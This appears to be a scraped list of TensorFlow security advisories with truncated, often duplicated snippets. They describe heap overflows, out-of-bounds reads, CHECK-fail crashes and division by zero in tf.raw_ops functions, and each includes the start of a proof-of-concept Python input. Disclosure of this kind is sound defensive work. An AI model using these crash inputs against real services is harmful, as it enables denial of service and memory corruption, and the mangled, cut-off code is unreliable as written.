Heap buffer overflow in `QuantizedReshape`

Impact An attacker can cause a heap buffer overflow in QuantizedReshape by passing in invalid thresholds for the quantization: python import tensorflow as tf tensor = tf.constant, dtype=tf.qint32 shape = tf.constant, dtype=tf.int32 inputmin = tf.constant, dtype=tf.float32 inputmax = tf.constant,...

GHSA-M3F9-W3P3-P669 Heap buffer overflow in `QuantizedMul`

Impact An attacker can cause a heap buffer overflow in QuantizedMul by passing in invalid thresholds for the quantization: python import tensorflow as tf x = tf.constant256, 328, shape=1, 2, dtype=tf.quint8 y = tf.constant256, 328, shape=1, 2, dtype=tf.quint8 minx = tf.constant, dtype=tf.float32...

Heap buffer overflow in `QuantizedMul`

Impact An attacker can cause a heap buffer overflow in QuantizedMul by passing in invalid thresholds for the quantization: python import tensorflow as tf x = tf.constant256, 328, shape=1, 2, dtype=tf.quint8 y = tf.constant256, 328, shape=1, 2, dtype=tf.quint8 minx = tf.constant, dtype=tf.float32...

CHECK-fail in SparseConcat

Impact An attacker can trigger a denial of service via a CHECK-fail in tf.rawops.SparseConcat: python import tensorflow as tf import numpy as np indices1 = tf.constant514, 514, 514, 514, dtype=tf.int64 indices2 = tf.constant514, 530, 599, 877, dtype=tf.int64 indices = indices1, indices2 values1 =...

CHECK-fail in DrawBoundingBoxes

Impact An attacker can trigger a denial of service via a CHECK failure by passing an empty image to tf.rawops.DrawBoundingBoxes: python import tensorflow as tf images = tf.fill53, 0, 48, 1, 0. boxes = tf.fill53, 31, 4, 0. boxes = tf.Variableboxes boxes0, 0, 0.assign3.90621...

Heap out of bounds read in `RaggedCross`

Impact An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to tf.rawops.RaggedCross: python import tensorflow as tf raggedvalues = raggedrowsplits = sparseindices = sparsevalues = sparseshape = denseinputselem = tf.constant, shape=92, 0,...

GHSA-J47F-4232-HVV8 Heap out of bounds read in `RaggedCross`

Impact An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to tf.rawops.RaggedCross: python import tensorflow as tf raggedvalues = raggedrowsplits = sparseindices = sparsevalues = sparseshape = denseinputselem = tf.constant, shape=92, 0,...

CHECK-fail in tf.raw_ops.EncodePng

Impact An attacker can trigger a CHECK fail in PNG encoding by providing an empty input tensor as the pixel data: python import tensorflow as tf image = tf.zeros0, 0, 3 image = tf.castimage, dtype=tf.uint8 tf.rawops.EncodePngimage=image This is because the implementation only validates that the...

GHSA-3QXP-QJQ7-W4HF CHECK-fail in tf.raw_ops.EncodePng

Impact An attacker can trigger a CHECK fail in PNG encoding by providing an empty input tensor as the pixel data: python import tensorflow as tf image = tf.zeros0, 0, 3 image = tf.castimage, dtype=tf.uint8 tf.rawops.EncodePngimage=image This is because the implementation only validates that the...

Invalid validation in `SparseMatrixSparseCholesky`

Impact An attacker can trigger a null pointer dereference by providing an invalid permutation to tf.rawops.SparseMatrixSparseCholesky: python import tensorflow as tf import numpy as np from tensorflow.python.ops.linalg.sparse import sparsecsrmatrixops indicesarray = np.array0, 0 valuearray =...

GHSA-JFP7-4J67-8R3Q Heap buffer overflow caused by rounding

Impact An attacker can trigger a heap buffer overflow in tf.rawops.QuantizedResizeBilinear by manipulating input values so that float rounding results in off-by-one error in accessing image elements: python import tensorflow as tf l = 256, 328, 361, 17, 361, 361, 361, 361, 361, 361, 361, 361, 361...

Heap buffer overflow caused by rounding

Impact An attacker can trigger a heap buffer overflow in tf.rawops.QuantizedResizeBilinear by manipulating input values so that float rounding results in off-by-one error in accessing image elements: python import tensorflow as tf l = 256, 328, 361, 17, 361, 361, 361, 361, 361, 361, 361, 361, 361...

GHSA-6F84-42VF-PPWP Division by 0 in `QuantizedMul`

Impact An attacker can trigger a division by 0 in tf.rawops.QuantizedMul: python import tensorflow as tf x = tf.zeros4, 1, dtype=tf.quint8 y = tf.constant, dtype=tf.quint8 minx = tf.constant0.0 maxx = tf.constant0.0010000000474974513 miny = tf.constant0.0 maxy = tf.constant0.0010000000474974513...

Division by 0 in `QuantizedMul`

Impact An attacker can trigger a division by 0 in tf.rawops.QuantizedMul: python import tensorflow as tf x = tf.zeros4, 1, dtype=tf.quint8 y = tf.constant, dtype=tf.quint8 minx = tf.constant0.0 maxx = tf.constant0.0010000000474974513 miny = tf.constant0.0 maxy = tf.constant0.0010000000474974513...

Division by 0 in `QuantizedConv2D`

Impact An attacker can trigger a division by 0 in tf.rawops.QuantizedConv2D: python import tensorflow as tf input = tf.zeros1, 1, 1, 1, dtype=tf.quint8 filter = tf.constant, shape=1, 0, 1, 1, dtype=tf.quint8 mininput = tf.constant0.0 maxinput = tf.constant0.0001 minfilter = tf.constant0.0 maxfilt...

GHSA-X4G7-FVJJ-PRG8 Division by 0 in `QuantizedConv2D`

Impact An attacker can trigger a division by 0 in tf.rawops.QuantizedConv2D: python import tensorflow as tf input = tf.zeros1, 1, 1, 1, dtype=tf.quint8 filter = tf.constant, shape=1, 0, 1, 1, dtype=tf.quint8 mininput = tf.constant0.0 maxinput = tf.constant0.0001 minfilter = tf.constant0.0 maxfilt...

Division by 0 in `Conv2D`

Impact An attacker can trigger a division by 0 in tf.rawops.Conv2D: python import tensorflow as tf input = tf.constant, shape=0, 0, 0, 0, dtype=tf.float32 filter = tf.constant, shape=0, 0, 0, 0, dtype=tf.float32 strides = 1, 1, 1, 1 padding = "SAME" tf.rawops.Conv2Dinput=input, filter=filter,...

Division by 0 in `Conv2DBackpropInput`

Impact An attacker can trigger a division by 0 in tf.rawops.Conv2DBackpropInput: python import tensorflow as tf inputtensor = tf.constant52, 1, 1, 5, shape=4, dtype=tf.int32 filtertensor = tf.constant, shape=0, 1, 5, 0, dtype=tf.float32 outbackprop = tf.constant, shape=52, 1, 1, 0, dtype=tf.float...

GHSA-XM2V-8RRW-W9PM Division by 0 in `Conv2DBackpropInput`

Impact An attacker can trigger a division by 0 in tf.rawops.Conv2DBackpropInput: python import tensorflow as tf inputtensor = tf.constant52, 1, 1, 5, shape=4, dtype=tf.int32 filtertensor = tf.constant, shape=0, 1, 5, 0, dtype=tf.float32 outbackprop = tf.constant, shape=52, 1, 1, 0, dtype=tf.float...

Division by 0 in `Conv2DBackpropFilter`

Impact An attacker can trigger a division by 0 in tf.rawops.Conv2DBackpropFilter: python import tensorflow as tf inputtensor = tf.constant, shape=0, 0, 1, 0, dtype=tf.float32 filtersizes = tf.constant1, 1, 1, 1, shape=4, dtype=tf.int32 outbackprop = tf.constant, shape=0, 0, 1, 1, dtype=tf.float32...